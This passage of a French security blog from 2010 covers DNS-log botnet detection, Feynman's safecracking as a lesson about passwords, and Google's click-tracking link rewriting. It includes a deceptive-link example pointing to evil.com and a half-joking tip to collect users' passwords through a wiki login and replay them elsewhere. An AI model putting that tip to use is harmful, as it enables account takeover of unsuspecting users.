Quoi qu'il en soit, cela ne réglera pas le problème des botnets. Cette méthode permet à mon avis d'être plus proactif dans la détection des machines zombifiées sur un gros réseau uniquement avec une analyse des logs DNS:
-si une machine émet une requête DNS MX, alors une analyse est nécessaire
-un log continu des requêtes DNS A des machines doit permettre de trouver assez rapidement quelles machines vont se connecter sur le botmaster, et devra mener à une analyse approfondie.
Pour valider cette analyse j'aurais besoin de grandes quantités de trafic DNS sur un réseau vaste. Je ne pense pas que cela se trouve facilement sur internet. Toutefois, cela mériterait qu'on s'y arrête, ne serait-ce que pour essayer.

jeudi 11 mars 2010

Feynman, les coffres forts et les mots de passe.

Je viens de finir de lire "Vous voulez rire, Mr Feynman" par lui-même. Il retrace entre autre la manière dont il est devenu un expert en ouverture de coffres-forts.
Mr Feynman, physicien de profession (Nobelisé) a travaillé pour le projet Manhattan. Les documents relatifs aux recherches devaient bien entendu être stockés de manière sécurisée. A cette époque, il n'y avait pas d'informatique, mais la problématique de la sécurisation de l'information était la même qu'aujourd'hui.

Tout d'abord, il s'est rendu compte que les coffres ne fermaient tout simplement pas (!). Il suffisait de passer la main par l'arrière du coffre pour accéder aux documents.
Si on parle d'informatique sécurisée, cela signifie qu'il est donc essentiel de pouvoir valider la solidité de l'algorithme employé.

Suite à cela, de nouveaux coffres sont arrivés, disposant de trois roues crantées, allant de 00 à 99. Feynman s'y est attaqué par jeu. Il n'était pas possible de contourner la porte pour accéder aux documents. Après quelques tests pour mettre les roues en place manuellement, tester l'ouverture, changer de combinaison etc, il s'est rendu compte que le bruteforce n'était pas réalisable.
Après s'être renseigné sur les méthodes des perceurs de coffres, il s'est rendu compte que les méthodes se basaient sur l'intuition mélée à de la chance. En effet, il était conseillé de tester des dates connues, des dates de naissances, des chiffres particuliers (comme 3.14159, ou 2.71828). L'autre solution consistant à chercher des papiers collés sur le bureau ou dans les tiroirs sur lesquels étaient inscrits des chiffres sans signification évidentes. Il est intéressant de retrouver rigoureusement les mêmes conseils à l'heure de l'informatique; seul le post-it a remplacé le papier scotché ;)

Ces méthodes ne lui ont pas permis d'ouvrir beaucoup de coffres; il préférait trouver une méthode fiable pour pouvoir tous les ouvrir.
Après quelques tests, il s'est rendu compte que les roues crantées avaient du jeu. En effet, si 45 était la valeur correspondant à une roue, alors 43, 44, 45, 46 et 47 fonctionnaient aussi. Après quelques entrainements, il a calculé que le bruteforce tombait à 8h pour toutes les combinaisons. C'était malgré tout toujours trop. Après plusieurs tests complémentaires sur son coffre, il a vu que lorsque le coffre était ouvert il pouvait facilement manipuler la première et seconde roue, ce qui lui permettait de connaitre avec une précision acceptable leurs valeurs. Le brute force (qui ne se faisait que sur la troisième roue et quelques valeurs des deux premières tombait à 20mn).

Il est donc allé voir ses collègues, et tout en discutant, il s'approchait de leur coffres ouvert en manipulant les roues. Après quelques temps, il a connu la plupart des codes des deux premières roues de la majorité de ses collègues. Cela lui assurait un grand prestige lors des situations de crises ou un document nécessaire était indispensable et la personne absente. Il ajoutait un peu de cinéma ("laissez moi seul avec mes outils et le coffre") et sa réputation fût faite. S'il s'agisssait d'un bureau dont il ne connaissait pas le code, il prétextait un travail urgent pour ne pas avoir à le faire.
Le bruteforce est resté, il s'est simplement réduit. En crypto, on retrouve un peu les mêmes méthodes. Si le code est solide, alors on fait de la bruteforce. Si la bruteforce est hors de portée, alors on réduit l'espace de solutions pour que la bruteforce redescende en un temps acceptable. A force de travailler avec des gens, il est fréquent de connaître une partie de leurs mots de passes. Untel qui a tapé son mot de passe derrière son login sans taper entrée, tel autre qui n'utilise que le pavé numérique, etc..

Pour finir, deux anecdotes. Le général en chef, sachant que Feynman était fort pour ouvrir des coffres, s'est fait livrer le coffre le plus gros le plus lourd et le plus cher qu'il existait. Il se méfiait énormément de Feynman, l'empêchant d'accéder au coffre. Un jour vint, ou il fallait un document dans ce coffre alors que le général était absent et injoignable. Feynman a décliné l'offre lui demandant de l'ouvrir. Malgré tout le coffre a été ouvert par le serrurier de la base! Ce serrurier avait en effet constaté que les coffres de cette compagnie arrivait avec deux codes, toujours les mêmes. Il a essayé le premier, échec. Le second code l'a ouvert :) Feynman s'est immédiatement renseigné sur les codes par défaut avec lesquels étaient livrés les coffres.
Une autre fois, Feynman attendait un collègue dont il ne connaissait pas les codes des deux premières roues. Il a essayé e au cas ou (e=2.71828, soit 27-18-28). Le coffre s'est ouvert. Avisant un second coffre, il essaye le même code, qui fonctionne aussi. Et cela s'est reproduit avec les 6 coffres de ce bureau. N'utilisez jamais le même code de partout! Pour connaître un très grand nombre de codes, montez dans votre entreprise (ou site web communautaire) un quelconque truc (genre wiki) qui demande une authent. Ré-essayez les codes que les utilisateurs vont vous fournir sur d'autres accès.. Le succès est garanti.

Les technologies changent, mais les faiblesses humaines restent décidément les mêmes :)

samedi 6 février 2010

Google, firefox et clickjacking

Le clickjacking est une technique ancienne permettant de tromper l'utilisateur: il pense cliquer sur un lien, mais cela l'envoie vers une autre URL.

Le clickjacking le plus basique consiste à différencier le HREF du lien pointé par exemple en indiquant:
<a href="http://www.evil.com/">http://innocent.com</a>
et l'utilisateur inconséquent pensera aller sur innocent.com. Toutefois, les utilisateurs avisés surveillent la barre du bas de leur navigateur qui indique le lien réellement pointé.

Il semble que Google vient de mettre un système de clickjacking particulièrement efficace lorsque vous êtes sous firefox (testé sous Mac et windows, Safari sous Mac ne semble pas impacté, IE non testé).

Voici une page de résultat classique avec le lien qui s'affiche lorsque je passe la souris sur un lien de résultat:

On voit que le lien pointé 'adwords.google.com' correspond bien au lien affiché.

Voici le lien qui change dès l'instant ou je clique dessus; un clic droit -> Copier la cible du lien sous enregistre bien l'URL "googlisé".
Le lien complet est:
http://www.google.fr/url?sa=t&source=web&ct=res&cd=1&ved=0CAcQFjAA&url=http%3A%2F%2Fadwords.google.com%2F&rct=j&q=google+click&ei=rlttS-XZBom04gbM_LyqBw&usg=AFQjCNHpRZBbV_ZQDlEK2yop_qrx1e0uJg

La raison en est dûe à un bout de javascript qui joue sur le onmousedown :


C'est efficace, mais cela est tout de même un peu effrayant. A partir du moment ou google utilise
cette méthode, cela signifie deux choses:

1/
Google traque nos données, ça on le sait. La nouveauté c'est que Google traque également les clics sur ses résultats de recherche. Il y a le même mécanisme sur google news. Je pense que google doit faire des stats pour connaître les liens les plus cliqués: s'agit t'il des liens en première page? En deuxième page?

2/
Si google peut faire ça, tout le monde peut le faire avec un bout de javascript. Comment avoir confiance dans les liens sur lesquels on clique?

Peut-être un rapport de bug à remonter à Mozilla corp?

EDIT 07/02/2010: Le bugreport existe déjà. https://bugzilla.mozilla.org/show_bug.cgi?id=229050 et il est bien fait mention de google dans les dernières activités. Ceci dit, le bug a été ouvert en ... 2003.